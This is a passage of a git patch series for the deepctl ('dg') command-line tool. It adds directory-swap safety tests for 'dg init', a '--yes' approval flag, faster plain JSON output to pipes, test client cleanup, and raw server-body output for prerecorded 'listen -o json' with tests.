+            real_save(record)
+            _swap(run.dest, tmp_path / "other")
+
+        monkeypatch.setattr(clones, "save", save_then_swap)
+        run.makefile = True
+        result = run(api_key=KEY, install=True, no_start=True)
+        self._assert_changed(run, result)
+        assert not (run.dest / ".env").exists()
+        assert not (tmp_path / "other-old" / ".env").exists()
+        assert run.setup_runs == []
+
+    def test_swapped_before_setup_on_a_resume(
+        self, run: Any, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        run.makefile = True
+        assert run(no_install=True).status == "success"
+        real_inject = lifecycle.inject_env
+
+        def inject_then_swap(dest: Path, api_key: str) -> None:
+            real_inject(dest, api_key)
+            _swap(dest, tmp_path / "other")
+
+        monkeypatch.setattr(lifecycle, "inject_env", inject_then_swap)
+        result = run(api_key=KEY, install=True, no_start=True)
+        self._assert_changed(run, result)
+        assert run.setup_runs == []
+        assert run.record().phases == ["clone"]
+
+    def test_swapped_before_start(
+        self,
+        run: Any,
+        tmp_path: Path,
+        make_detail: Any,
+        monkeypatch: pytest.MonkeyPatch,
+    ) -> None:
+        run.detail = make_detail(install="npm install", start="npm start")
+
+        def make_then_swap(step: Any, dest: Path) -> bool:
+            run.setup_runs.append(step.command)
+            _swap(dest, tmp_path / "other")
+            return True
+
+        monkeypatch.setattr(lifecycle, "run_lifecycle_step", make_then_swap)
+        result = run(api_key=KEY, yes=True, start=True)
+        self._assert_changed(run, result)
+        assert run.setup_runs == ["npm install"]
+        assert run.start_runs == []
+
+
 class TestDirectoryNotFromInit:
     def test_non_empty_directory_without_record(self, run: Any) -> None:
         run.dest.mkdir()
diff --git a/src/deepctl/_manifest.d/init.json b/src/deepctl/_manifest.d/init.json
index 76e5dbcd..361f7f50 100644
--- a/src/deepctl/_manifest.d/init.json
+++ b/src/deepctl/_manifest.d/init.json
@@ -8,7 +8,7 @@
   "requires_auth": false,
   "help": {
     "name": "init",
-    "help": "Browse, clone, and set up Deepgram starter apps.\n\nFetches templates from the Deepgram templates gallery. Run with no arguments for an interactive search-and-select picker, or pass a template name directly to clone immediately.\n\nExamples:\n  dg init\n  dg init --search python\n  dg init node-transcription\n  dg init node-transcription --dir ./my-app\n  dg init node-transcription --install\n  dg init node-transcription --no-install\n  dg init --list\n  dg init --list --search flask\n\n\nFor agents, use --agent-friendly.",
+    "help": "Browse, clone, and set up Deepgram starter apps.\n\nFetches templates from the Deepgram templates gallery. Run with no arguments for an interactive search-and-select picker, or pass a template name directly to clone immediately.\n\nExamples:\n  dg init\n  dg init --search python\n  dg init node-transcription\n  dg init node-transcription --dir ./my-app\n  dg init node-transcription --install\n  dg init node-transcription --no-install\n  dg init node-transcription --yes\n  dg init --list\n  dg init --list --search flask\n\n\nFor agents, use --agent-friendly.",
     "short_help": "Scaffold a Deepgram starter app (alpha)",
     "epilog": null,
     "hidden": false,
@@ -16,6 +16,28 @@
     "no_args_is_help": false,
     "options_metavar": "[OPTIONS]",
     "params": [
+      {
+        "class": "option",
+        "name": "yes",
+        "opts": [
+          "--yes",
+          "-y"
+        ],
+        "secondary_opts": [],
+        "type": {
+          "name": "boolean"
+        },
+        "required": false,
+        "nargs": 1,
+        "metavar": null,
+        "eager": false,
+        "expose": true,
+        "multiple": false,
+        "is_flag": true,
+        "count": false,
+        "hidden": false,
+        "help": "Approve and run the template's setup commands without asking; the only way in an AI agent session"
+      },
       {
         "class": "option",
         "name": "no_start",
@@ -98,7 +120,7 @@
         "is_flag": true,
         "count": false,
         "hidden": false,
-        "help": "Run setup (make check-prereqs && make init) without prompting"
+        "help": "Run the setup commands without asking (in an AI agent session, use --yes)"
       },
       {
         "class": "option",

From 5e85c875998f41e28c5233d085670e7d8e13e62e Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:38:39 -0500
Subject: [PATCH 45/88] perf(output): write JSON off a terminal without rich

Machine JSON on a pipe or file went through rich's print_json, which
re-parses the text and renders it as highlighted segments: 11 s for a
14 MB result. Off a terminal, write the same text rich printed
(json.dumps with indent 2 and ensure_ascii off, plus a newline) to the
console's stream in one write. A terminal still gets highlighting, and
--quiet still prints nothing.
---
 .../src/deepctl_core/base_command.py          | 17 ++++-
 .../deepctl-core/src/deepctl_core/output.py   | 17 +++++
 .../tests/unit/test_json_output.py            | 70 +++++++++++++++++++
 3 files changed, 103 insertions(+), 1 deletion(-)
 create mode 100644 packages/deepctl-core/tests/unit/test_json_output.py

diff --git a/packages/deepctl-core/src/deepctl_core/base_command.py b/packages/deepctl-core/src/deepctl_core/base_command.py
index 914e6dca..474f8369 100644
--- a/packages/deepctl-core/src/deepctl_core/base_command.py
+++ b/packages/deepctl-core/src/deepctl_core/base_command.py
@@ -530,7 +530,22 @@ def _default(obj: Any) -> str:
             return str(obj)
 
         if isinstance(result, dict | list):
-            console.print_json(json.dumps(result, indent=2, default=_default))
+            if console.is_terminal:
+                # A person reading a terminal: highlighted.
+                console.print_json(json.dumps(result, indent=2, default=_default))
+                return
+            # A pipe or file: the same text rich would print, in one write
+            # (rich's renderer takes seconds on a large result).
+            from .output import _output_config
+
+            if _output_config["quiet"]:
+                return
+            stream = console.file
+            stream.write(
+                json.dumps(result, indent=2, ensure_ascii=False, default=_default)
+                + "\n"
+            )
+            stream.flush()
         else:
             console.print(
                 json.dumps({"result": str(result)}, indent=2, default=_default)
diff --git a/packages/deepctl-core/src/deepctl_core/output.py b/packages/deepctl-core/src/deepctl_core/output.py
index c9269bc8..aa5e5d3b 100644
--- a/packages/deepctl-core/src/deepctl_core/output.py
+++ b/packages/deepctl-core/src/deepctl_core/output.py
@@ -431,6 +431,23 @@ def print_output(data: Any, format_type: str | None = None) -> None:
     formatter = OutputFormatter(format_type)
 
     if format_type == "json":
+        if not console.is_terminal:
+            # A pipe or file: plain JSON in one write, as rich would print
+            # it but without its renderer's cost on a large result.
+            stream = console.file
+            if isinstance(data, str):
+                try:
+                    data = json.loads(data)
+                except json.JSONDecodeError:
+                    stream.write(data + "\n")
+                    stream.flush()
+                    return
+            stream.write(
+                json.dumps(data, indent=2, ensure_ascii=False, default=str) + "\n"
+            )
+            stream.flush()
+            return
+
         from rich.json import JSON
 
         # Use Rich's JSON formatter for better display
diff --git a/packages/deepctl-core/tests/unit/test_json_output.py b/packages/deepctl-core/tests/unit/test_json_output.py
new file mode 100644
index 00000000..b6d30288
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_json_output.py
@@ -0,0 +1,70 @@
+"""Machine JSON off a terminal: one plain write with the text rich printed
+(``json.dumps(indent=2, ensure_ascii=False)`` plus a newline)."""
+
+from __future__ import annotations
+
+import io
+import json
+from datetime import datetime, timezone
+from typing import Any
+
+import pytest
+from deepctl_core import output
+from deepctl_core.base_command import BaseCommand
+from rich.console import Console
+
+DATA = {
+    "name": "café [ci] runner",
+    "items": [1, 2.5, None, True],
+    "when": datetime(2026, 10, 31, 1, 2, 3, tzinfo=timezone.utc),
+}
+
+
+class _Cmd(BaseCommand):
+    name = "probe"
+    help = "probe"
+
+    def handle(self, *a: Any, **kw: Any) -> Any:
+        return None
+
+
+def rich_text(data: Any) -> str:
+    buf = io.StringIO()
+    Console(file=buf, force_terminal=False, width=80).print_json(
+        json.dumps(data, indent=2, default=str)
+    )
+    return buf.getvalue()
+
+
+@pytest.fixture(autouse=True)
+def _plain(monkeypatch):
+    monkeypatch.setitem(output._output_config, "quiet", False)
+    monkeypatch.setitem(output._output_config, "format", "json")
+
+
+def test_base_command_json_matches_what_rich_printed(capsys):
+    plain = {k: (str(v.isoformat()) if k == "when" else v) for k, v in DATA.items()}
+    _Cmd().output_result(DATA, None)  # type: ignore[arg-type]
+    out = capsys.readouterr().out
+    assert out == json.dumps(plain, indent=2, ensure_ascii=False) + "\n"
+    assert out == rich_text(plain)
+
+
+def test_base_command_json_respects_quiet(monkeypatch, capsys):
+    monkeypatch.setitem(output._output_config, "quiet", True)
+    _Cmd().output_result({"a": 1}, None)  # type: ignore[arg-type]
+    assert capsys.readouterr().out == ""
+
+
+def test_print_output_json_matches_what_rich_printed(capsys):
+    data = {"a": "café", "b": [1, {"c": None}]}
+    output.print_output(data, "json")
+    out = capsys.readouterr().out
+    assert out == json.dumps(data, indent=2, ensure_ascii=False) + "\n"
+    assert out == rich_text(data)
+
+
+def test_print_output_json_string(capsys):
+    output.print_output('{"a": 1}', "json")
+    output.print_output("not json", "json")
+    assert capsys.readouterr().out == '{\n  "a": 1\n}\nnot json\n'

From dd53c996f8b74366f7a8c70a1793fc9e65770a9f Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 20:43:58 -0500
Subject: [PATCH 46/88] test(transport): close the shared client after each
 test

The transport tests' fixture swapped the shared httpx client out with
monkeypatch and never closed the one a test had built, so a keep-alive
connection to that test's fake server stayed open until the collector
found it. It then raised a ResourceWarning inside whichever later test
happened to be running, which failed
test_find_available_port_closes_sockets in debug-browser. Close the
shared and verified clients a test made, and restore the ones before.
---
 packages/deepctl-core/tests/unit/test_transport.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/packages/deepctl-core/tests/unit/test_transport.py b/packages/deepctl-core/tests/unit/test_transport.py
index 03fb23f5..ef458169 100644
--- a/packages/deepctl-core/tests/unit/test_transport.py
+++ b/packages/deepctl-core/tests/unit/test_transport.py
@@ -48,7 +48,11 @@ def _isolated(tmp_path, monkeypatch):
         lambda: (tmp_path, tmp_path / "user" / "config.yaml"),
     )
     monkeypatch.setattr(hosts, "_reported", set())
+    # Each test gets fresh shared clients; monkeypatch puts back what was
+    # there before, and the ones a test made are closed below.
     monkeypatch.setattr(transport, "_client", None)
+    monkeypatch.setattr(transport, "_verified", None)
+    monkeypatch.setattr(transport, "_client_insecure", False)
     monkeypatch.setattr(output, "is_agentic", lambda: False)
     monkeypatch.setattr(output, "is_ai_agent", lambda: False)
     monkeypatch.setitem(output._output_config, "agentic", False)
@@ -65,6 +69,12 @@ def _isolated(tmp_path, monkeypatch):
 
     monkeypatch.setattr(sdk_http.time, "sleep", lambda s: None)
     monkeypatch.setenv("DEEPGRAM_API_KEY", KEY)
+    yield
+    # A keep-alive connection to a test's fake server would otherwise stay
+    # open until the collector finds it, in some later test.
+    for client in (transport._client, transport._verified):
+        if client is not None:
+            client.close()
 
 
 def facade(handler) -> tuple[DeepgramClient, list[httpx.Request]]:

From 1034dba9614633064593902ad3bd4228bf1a0fa8 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sun, 1 Nov 2026 13:39:00 -0500
Subject: [PATCH 47/88] feat(listen): print the server's body for prerecorded
 -o json

Prerecorded listen under -o json (asked for or implied) now posts
through the shared HTTP client and prints the response body as the
server sent it, decoded, plus a newline. The SDK model round trip
(construct_type, model_dump, re-serializing) is gone from this path:
a 50k-word result takes about 0.3 s instead of 10 s.

The body is printed only after it was read completely with a 2xx
status and parsed as a JSON object; the bytes printed are the ones
read. A 2xx body that isn't a JSON object (a portal's HTML page, a
stream cut short, invalid UTF-8, an array) is now an error,
network_unavailable with exit 1, as are a coding dg can't decode, a
corrupt one, and a body cut short in transfer. Error statuses map to
the usual coded errors, so stdout holds the whole body or the error
envelope, never part of a body. Requests retry as the SDK does, before
any response byte is read, and identify themselves with the SDK's
User-Agent and X-Fern headers. zstd is accepted only where it can be
decoded.

Keys the server didn't send no longer appear as null, and dates keep
the server's form. DEEPCTL_LISTEN_JSON=sdk prints the SDK's shape as
before; any other value is ignored with one warning. -o yaml now
prints the body as YAML instead of the table. Other backends keep the
SDK path.
---
 .../src/deepctl_cmd_listen/command.py         | 177 ++++++++++-
 .../src/deepctl_cmd_listen/messages.py        |   7 +
 .../src/deepctl_cmd_listen/models.py          |   5 +
 .../tests/unit/test_listen_body_checks.py     | 139 +++++++++
 .../tests/unit/test_listen_passthrough.py     | 204 +++++++++++++
 .../deepctl-core/src/deepctl_core/client.py   |  64 ++++
 .../deepctl-core/src/deepctl_core/rawhttp.py  | 197 ++++++++++++
 .../src/deepctl_core/transport.py             |  20 +-
 .../deepctl-core/tests/unit/test_rawhttp.py   | 286 ++++++++++++++++++
 9 files changed, 1076 insertions(+), 23 deletions(-)
 create mode 100644 packages/deepctl-cmd-listen/tests/unit/test_listen_body_checks.py
 create mode 100644 packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
 create mode 100644 packages/deepctl-core/src/deepctl_core/rawhttp.py
 create mode 100644 packages/deepctl-core/tests/unit/test_rawhttp.py

diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index cf91ff11..5713d2ce 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -124,6 +124,90 @@ def __getattr__(name: str) -> Any:
     raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
 
 
+# DEEPCTL_LISTEN_JSON=sdk: prerecorded -o json prints the SDK's model of
+# the response (0.4.0's shape) instead of the server's body. Through 0.6.x.
+_LISTEN_JSON_ENV = "DEEPCTL_LISTEN_JSON"
+_listen_json_warned = False
+
+
+def _sdk_json() -> bool:
+    """True when ``DEEPCTL_LISTEN_JSON=sdk`` asks for 0.4.0's JSON shape.
+    Any other non-empty value is ignored with one warning."""
+    global _listen_json_warned
+    value = os.environ.get(_LISTEN_JSON_ENV, "")
+    if value.strip().lower() == "sdk":
+        return True
+    if value and not _listen_json_warned:
+        _listen_json_warned = True
+        print_warning(
+            msg.W_LISTEN_JSON_UNKNOWN.format(value=escape(value)),
+            stderr=True,
+            ignore_quiet=True,
+        )
+    return False
+
+
+def _passthrough_body(client: DeepgramClient) -> bool:
+    """True when the prerecorded result is read as the server's body.
+
+    For ``-o json`` and ``-o yaml`` (asked for or implied),
+    unless ``DEEPCTL_LISTEN_JSON=sdk`` asks for the SDK's shape or the
+    client goes through a backend other than plain REST.
+    """
+    if get_output_format() not in ("json", "yaml"):
+        return False
+    backend = getattr(getattr(client, "transport", None), "backend", None)
+    if getattr(backend, "name", None) != "rest":
+        return False
+    return not _sdk_json()
+
+
+def _live_engine() -> Any:
+    """The live engine module, imported on first use (it loads asyncio)."""
+    from . import live
+
+    return live
+
+
+def _yaml_text(payload: Any) -> str:
+    import yaml
+
+    return str(yaml.safe_dump(payload, sort_keys=False, allow_unicode=True))
+
+
+def _silence_stdout() -> None:
+    """Point fd 1 at the null device after a failed write, so the flush
+    at exit doesn't fail again (as ``live.silence_stdout``, without
+    importing the live engine)."""
+    try:
+        devnull = os.open(os.devnull, os.O_WRONLY)
+        os.dup2(devnull, 1)
+        os.close(devnull)
+    except OSError:
+        pass
+
+
+def _stdout_is_tty() -> bool:
+    try:
+        return sys.stdout.isatty()
+    except (AttributeError, ValueError):
+        return False
+
+
+def _parse_body(body: bytes) -> dict[str, Any]:
+    """The response body as a dict; one that isn't a JSON object is a
+    response dg can't read (``network_unavailable``)."""
+    from deepctl_core import transport
+
+    try:
+        data = json.loads(body)
+    except ValueError:
+        raise transport.unreadable_body() from None
+    if not isinstance(data, dict):
+        raise transport.unreadable_body()
+    return data
+
+
 def _machine_format() -> bool:
     """True when live transcript lines stay off stdout: a machine format
     that was asked for (``-o json``/``-o yaml``) or chosen because of a hard
@@ -843,8 +927,21 @@ def _prerecorded(
 
         from deepctl_core.upload import UploadFileError, coded_result
 
+        # Machine output prints the server's body:
+        # read it as sent instead of building the SDK's model of it.
+        passthrough = _passthrough_body(client)
+        body: bytes | None = None
+        result_dict: dict[str, Any] = {}
         try:
-            if is_url:
+            if passthrough:
+                body = client.transcribe_body(
+                    source,
+                    options,
+                    is_url=is_url,
+                    timeout_s=timeout_s,
+                    file_id=file_id,
+                )
+            elif is_url:
                 result_dict = client.transcribe_url(
                     source, options, timeout_s=timeout_s
                 )
@@ -872,6 +969,13 @@ def _prerecorded(
             )
             raise click.ClickException(f"Transcription failed: {detail}")
 
+        # Parsed every time: a 2xx body that isn't a whole JSON object (a
+        # portal's HTML page, a stream cut short that the decoder didn't
+        # notice) is an error, never output. -o json still prints the
+        # bytes as read.
+        if body is not None:
+            result_dict = _parse_body(body)
+
         # ── Format transcript ──────────────────────────────────────────
         if diarize:
             transcript = format_diarized_transcript(result_dict)
@@ -903,7 +1007,7 @@ def _prerecorded(
         raw_duration = metadata.get("duration", 0.0)
         duration_seconds = float(raw_duration) if raw_duration else 0.0
 
-        return ListenResult(
+        result = ListenResult(
             status="success",
             source=source_kind,
             source_path=output_url(source) if url_like else source,
@@ -915,10 +1019,12 @@ def _prerecorded(
             captions=captions,
             caption_format=caption_format,
             saved_to=save_to,
-            full_result=result_dict,
+            full_result=result_dict or None,
             probe_info=probe_info,
             duration_seconds=duration_seconds,
         )
+        result._body = body
+        return result
 
     # ── Live streaming (mic and stdin) ─────────────────────────────────
 
@@ -1782,8 +1888,6 @@ def output_result(self, result: Any, config: Config) -> None:
         import json as _json
         from datetime import date, datetime
 
-        from . import live
-
         def _default(obj: Any) -> str:
             if isinstance(obj, (datetime, date)):
                 return obj.isoformat()
@@ -1797,6 +1901,7 @@ def _default(obj: Any) -> str:
         if isinstance(result, ListenResult) and result.mode == "live":
             if fmt not in ("json", "yaml"):
                 return
+            engine = _live_engine()
             payload = result.model_dump(exclude_none=True)
             try:
                 if fmt == "json":
@@ -1816,12 +1921,12 @@ def _default(obj: Any) -> str:
                     sys.stdout.flush()
             except BrokenPipeError:
                 # The reader went away (`| true`): end quietly, exit as is.
-                live.silence_stdout()
+                engine.silence_stdout()
             except OSError as exc:
                 # stdout can't take the result (ENOSPC, EIO): output_unwritable
                 # on stderr, exit 1.
-                live.silence_stdout()
-                reason = live.output_failed(exc).os_error or ""
+                engine.silence_stdout()
+                reason = engine.output_failed(exc).os_error or ""
                 kept = self._live_kept or {
                     "transcript": result.transcript,
                     "transcript_chars": len(result.transcript),
@@ -1836,7 +1941,7 @@ def _default(obj: Any) -> str:
             except OSError:
                 # Already reported on stderr; keep the exit flush from
                 # failing again on a full or broken stdout.
-                live.silence_stdout()
+                _live_engine().silence_stdout()
             return
 
         # Caption mode: print captions to stdout regardless of output format
@@ -1845,18 +1950,58 @@ def _default(obj: Any) -> str:
             return
 
         # Pre-recorded: full structured output
-        if fmt == "json":
-            payload = (
-                result.full_result
-                if result.full_result
-                else result.model_dump(exclude_none=True)
-            )
-            out.print_json(_json.dumps(payload, indent=2, default=_default))
+        if fmt in ("json", "yaml"):
+            if fmt == "json" and result._body is not None:
+                data = result._body
+                if _stdout_is_tty():
+                    # A person reading a terminal: indented and highlighted.
+                    out.print_json(data.decode("utf-8", "replace"))
+                    return
+            else:
+                payload = (
+                    result.full_result
+                    if result.full_result
+                    else result.model_dump(exclude_none=True)
+                )
+                if fmt == "yaml":
+                    data = _yaml_text(payload).encode()
+                elif _stdout_is_tty():
+                    out.print_json(_json.dumps(payload, indent=2, default=_default))
+                    return
+                else:
+                    data = _json.dumps(
+                        payload, indent=2, ensure_ascii=False, default=_default
+                    ).encode()
+            self._write_stdout(data + b"\n" if fmt == "json" else data)
             return
 
         # Table / default: metadata + transcript
         self._print_prerecorded_result(result)
 
+    def _write_stdout(self, data: bytes) -> None:
+        """Write the prerecorded payload to stdout in one write.
+
+        A reader that went away ends the run quietly; any other write
+        failure (ENOSPC, EIO) is ``output_unwritable``, exit 1.
+        """
+        if not data:
+            return
+        try:
+            sys.stdout.flush()
+            stream = getattr(sys.stdout, "buffer", None)
+            if stream is None:
+                sys.stdout.write(data.decode("utf-8", "replace"))
+            else:
+                stream.write(data)
+            sys.stdout.flush()
+        except BrokenPipeError:
+            _silence_stdout()
+        except OSError as exc:
+            _silence_stdout()
+            reason = " ".join(str(exc.strerror or exc).split())[:200]
+            self._output_unwritable(reason or exc.__class__.__name__, {})
+            self._output_failed = True
+
     def _print_prerecorded_result(self, result: ListenResult) -> None:
         """Print metadata table followed by transcript (and optionally summary/topics)."""
         metadata = (result.full_result or {}).get("metadata", {})
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
index 9d812f79..de8a6839 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
@@ -98,3 +98,10 @@
     "user {prog} couldn't write its output ({reason}), and don't retry until "
     "it's fixed."
 )
+
+# ── Prerecorded output (0.5.0) ─────────────────────────────────────────────
+
+# DEEPCTL_LISTEN_JSON set to anything but "sdk": ignored, once per run.
+W_LISTEN_JSON_UNKNOWN = (
+    "Ignoring DEEPCTL_LISTEN_JSON={value}: the only value it takes is sdk."
+)
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/models.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/models.py
index f79214b7..f6e411eb 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/models.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/models.py
@@ -5,6 +5,7 @@
 from typing import Any
 
 from deepctl_core import BaseResult, CodedErrorResult
+from pydantic import PrivateAttr
 
 
 class ListenResult(BaseResult):
@@ -31,6 +32,10 @@ class ListenResult(BaseResult):
     probe_info: dict[str, Any] | None = None
     duration_seconds: float = 0.0
 
+    # The server's response body, as read, when it is printed as-is
+    # (``-o json``). Not part of the model's fields or its dump.
+    _body: bytes | None = PrivateAttr(default=None)
+
 
 class ListenCodedError(CodedErrorResult):
     """A coded error from ``dg listen``, keys in the catalogue's order.
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_body_checks.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_body_checks.py
new file mode 100644
index 00000000..9cb67e1e
--- /dev/null
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_body_checks.py
@@ -0,0 +1,139 @@
+"""A 2xx body that isn't a whole JSON object is an error under every
+prerecorded output format, ``-o json`` included: never printed, exit 1."""
+
+from __future__ import annotations
+
+import json
+from typing import Any
+from unittest.mock import Mock
+
+import pytest
+from deepctl_cmd_listen import command as listen_cmd
+from deepctl_cmd_listen.command import ListenCommand
+from deepctl_core import Config, login_state, output, transport
+
+SPARSE = (
+    b'{"metadata":{"request_id":"r-1","created":"2026-10-31T01:02:03.456Z",'
+    b'"duration":1.5},"results":{"channels":[{"alternatives":[{"transcript":'
+    b'"hello world","words":[{"word":"hello","start":0.1,"end":0.5,'
+    b'"speaker":0,"punctuated_word":"Hello"}]}]}]}}'
+)
+
+
+def big_body(words: int = 4000) -> bytes:
+    ws = [
+        {"word": f"w{i}", "start": i * 0.3, "end": i * 0.3 + 0.2, "speaker": 0}
+        for i in range(words)
+    ]
+    text = " ".join(w["word"] for w in ws)
+    return json.dumps(
+        {
+            "metadata": {"request_id": "r-big", "duration": 12.5},
+            "results": {
+                "channels": [{"alternatives": [{"transcript": text, "words": ws}]}]
+            },
+        }
+    ).encode()
+
+
+@pytest.fixture(autouse=True)
+def _env(monkeypatch, tmp_path):
+    monkeypatch.setitem(output._output_config, "agentic", False)
+    monkeypatch.setitem(output._output_config, "quiet", False)
+    monkeypatch.setitem(output._output_config, "format", "json")
+    monkeypatch.setitem(output._output_config, "format_source", "explicit")
+    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(transport, "prog", lambda: "dg")
+    monkeypatch.setattr(listen_cmd, "_prog", lambda: "dg")
+    monkeypatch.setattr(listen_cmd, "_listen_json_warned", False)
+    monkeypatch.delenv("DEEPCTL_LISTEN_JSON", raising=False)
+    monkeypatch.setattr(login_state, "state_dir", lambda: tmp_path / "state")
+    monkeypatch.setattr(
+        "tempfile.gettempdir", lambda: str(tmp_path / "tmp"), raising=True
+    )
+    (tmp_path / "tmp").mkdir()
+
+
+def fmt(monkeypatch, value: str, source: str = "explicit") -> None:
+    monkeypatch.setitem(output._output_config, "format", value)
+    monkeypatch.setitem(output._output_config, "format_source", source)
+
+
+def rest_client(body: bytes = SPARSE) -> Mock:
+    client = Mock()
+    client.transport.backend.name = "rest"
+    client.transcribe_body.return_value = body
+    client.transcribe_file.return_value = {"sdk": True}
+    return client
+
+
+def run(client: Mock, *, full_output: bool = False, **overrides: Any) -> Any:
+    kwargs: dict[str, Any] = {
+        "is_url": False,
+        "model": "nova-3",
+        "language": "en-US",
+        "api_version": 1,
+        "diarize": False,
+        "smart_format": True,
+        "punctuate": True,
+        "summarize": False,
+        "topics": False,
+        "sentiment": False,
+        "redact": (),
+        "numerals": False,
+        "save_to": None,
+        "probe": False,
+        "no_validate": True,
+        "caption_format": None,
+        "config": Mock(spec=Config),
+    }
+    kwargs.update(overrides)
+    command = ListenCommand()
+    command._full_output = full_output
+    result = command._prerecorded(client, "audio.wav", **kwargs)
+    command.output_result(result, Mock(spec=Config))
+    return command, result
+
+
+def _decoded_by_httpx(content: bytes, coding: str | None = None) -> bytes:
+    """What the raw path returns for ``content`` sent with a complete
+    transfer: httpx's gzip decoder doesn't notice a stream cut short."""
+    import httpx
+
+    headers = {"Content-Encoding": coding} if coding else {}
+    return httpx.Response(200, content=content, headers=headers).read()
+
+
+def _gzip_cut() -> bytes:
+    import gzip
+
+    data = gzip.compress(big_body(2000))
+    return _decoded_by_httpx(data[: len(data) // 2], "gzip")
+
+
+@pytest.mark.parametrize(
+    "body",
+    [
+        pytest.param(b"<html><body>Sign in to the network</body></html>", id="html"),
+        pytest.param(_gzip_cut(), id="gzip-cut-matching-length-or-until-close"),
+        pytest.param(big_body(2000)[:5000], id="identity-cut-until-close"),
+        pytest.param(SPARSE[:20] + "é".encode()[:1], id="mid-utf8"),
+        pytest.param(SPARSE[:-1] + b"\xff}", id="invalid-utf8"),
+        pytest.param(b"[1,2]", id="top-level-array"),
+        pytest.param(b"", id="empty"),
+    ],
+)
+def test_json_never_prints_a_body_that_is_not_an_object(capsysbinary, body):
+    with pytest.raises(transport.TransportError) as err:
+        run(rest_client(body))
+    assert err.value.code == "network_unavailable"
+    assert err.value.messages == transport.NETWORK_UNREADABLE
+    assert capsysbinary.readouterr().out == b""
+
+
+def test_a_whole_gzip_body_still_prints_byte_for_byte(capsysbinary):
+    import gzip
+
+    body = big_body(2000)
+    run(rest_client(_decoded_by_httpx(gzip.compress(body), "gzip")))
+    assert capsysbinary.readouterr().out == body + b"\n"
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
new file mode 100644
index 00000000..07e7a58c
--- /dev/null
+++ b/packages/deepctl-cmd-listen/tests/unit/test_listen_passthrough.py
@@ -0,0 +1,204 @@
+"""Prerecorded ``listen`` output (0.5.0): the server's body for ``-o json``
+and ``-o yaml``, and ``DEEPCTL_LISTEN_JSON=sdk``."""
+
+from __future__ import annotations
+
+import json
+import sys
+from typing import Any
+from unittest.mock import Mock
+
+import pytest
+import yaml
+from deepctl_cmd_listen import command as listen_cmd
+from deepctl_cmd_listen.command import ListenCommand
+from deepctl_core import Config, login_state, output, transport
+
+SPARSE = (
+    b'{"metadata":{"request_id":"r-1","created":"2026-10-31T01:02:03.456Z",'
+    b'"duration":1.5},"results":{"channels":[{"alternatives":[{"transcript":'
+    b'"hello world","words":[{"word":"hello","start":0.1,"end":0.5,'
+    b'"speaker":0,"punctuated_word":"Hello"}]}]}]}}'
+)
+
+
+def big_body(words: int = 4000) -> bytes:
+    ws = [
+        {"word": f"w{i}", "start": i * 0.3, "end": i * 0.3 + 0.2, "speaker": 0}
+        for i in range(words)
+    ]
+    text = " ".join(w["word"] for w in ws)
+    return json.dumps(
+        {
+            "metadata": {"request_id": "r-big", "duration": 12.5},
+            "results": {
+                "channels": [{"alternatives": [{"transcript": text, "words": ws}]}]
+            },
+        }
+    ).encode()
+
+
+@pytest.fixture(autouse=True)
+def _env(monkeypatch, tmp_path):
+    monkeypatch.setitem(output._output_config, "agentic", False)
+    monkeypatch.setitem(output._output_config, "quiet", False)
+    monkeypatch.setitem(output._output_config, "format", "json")
+    monkeypatch.setitem(output._output_config, "format_source", "explicit")
+    monkeypatch.setattr(listen_cmd, "is_ai_agent", lambda: False)
+    monkeypatch.setattr(transport, "prog", lambda: "dg")
+    monkeypatch.setattr(listen_cmd, "_prog", lambda: "dg")
+    monkeypatch.setattr(listen_cmd, "_listen_json_warned", False)
+    monkeypatch.delenv("DEEPCTL_LISTEN_JSON", raising=False)
+    monkeypatch.setattr(login_state, "state_dir", lambda: tmp_path / "state")
+    monkeypatch.setattr(
+        "tempfile.gettempdir", lambda: str(tmp_path / "tmp"), raising=True
+    )
+    (tmp_path / "tmp").mkdir()
+
+
+def fmt(monkeypatch, value: str, source: str = "explicit") -> None:
+    monkeypatch.setitem(output._output_config, "format", value)
+    monkeypatch.setitem(output._output_config, "format_source", source)
+
+
+def rest_client(body: bytes = SPARSE) -> Mock:
+    client = Mock()
+    client.transport.backend.name = "rest"
+    client.transcribe_body.return_value = body
+    client.transcribe_file.return_value = {"sdk": True}
+    return client
+
+
+def run(client: Mock, *, full_output: bool = False, **overrides: Any) -> Any:
+    kwargs: dict[str, Any] = {
+        "is_url": False,
+        "model": "nova-3",
+        "language": "en-US",
+        "api_version": 1,
+        "diarize": False,
+        "smart_format": True,
+        "punctuate": True,
+        "summarize": False,
+        "topics": False,
+        "sentiment": False,
+        "redact": (),
+        "numerals": False,
+        "save_to": None,
+        "probe": False,
+        "no_validate": True,
+        "caption_format": None,
+        "config": Mock(spec=Config),
+    }
+    kwargs.update(overrides)
+    command = ListenCommand()
+    command._full_output = full_output
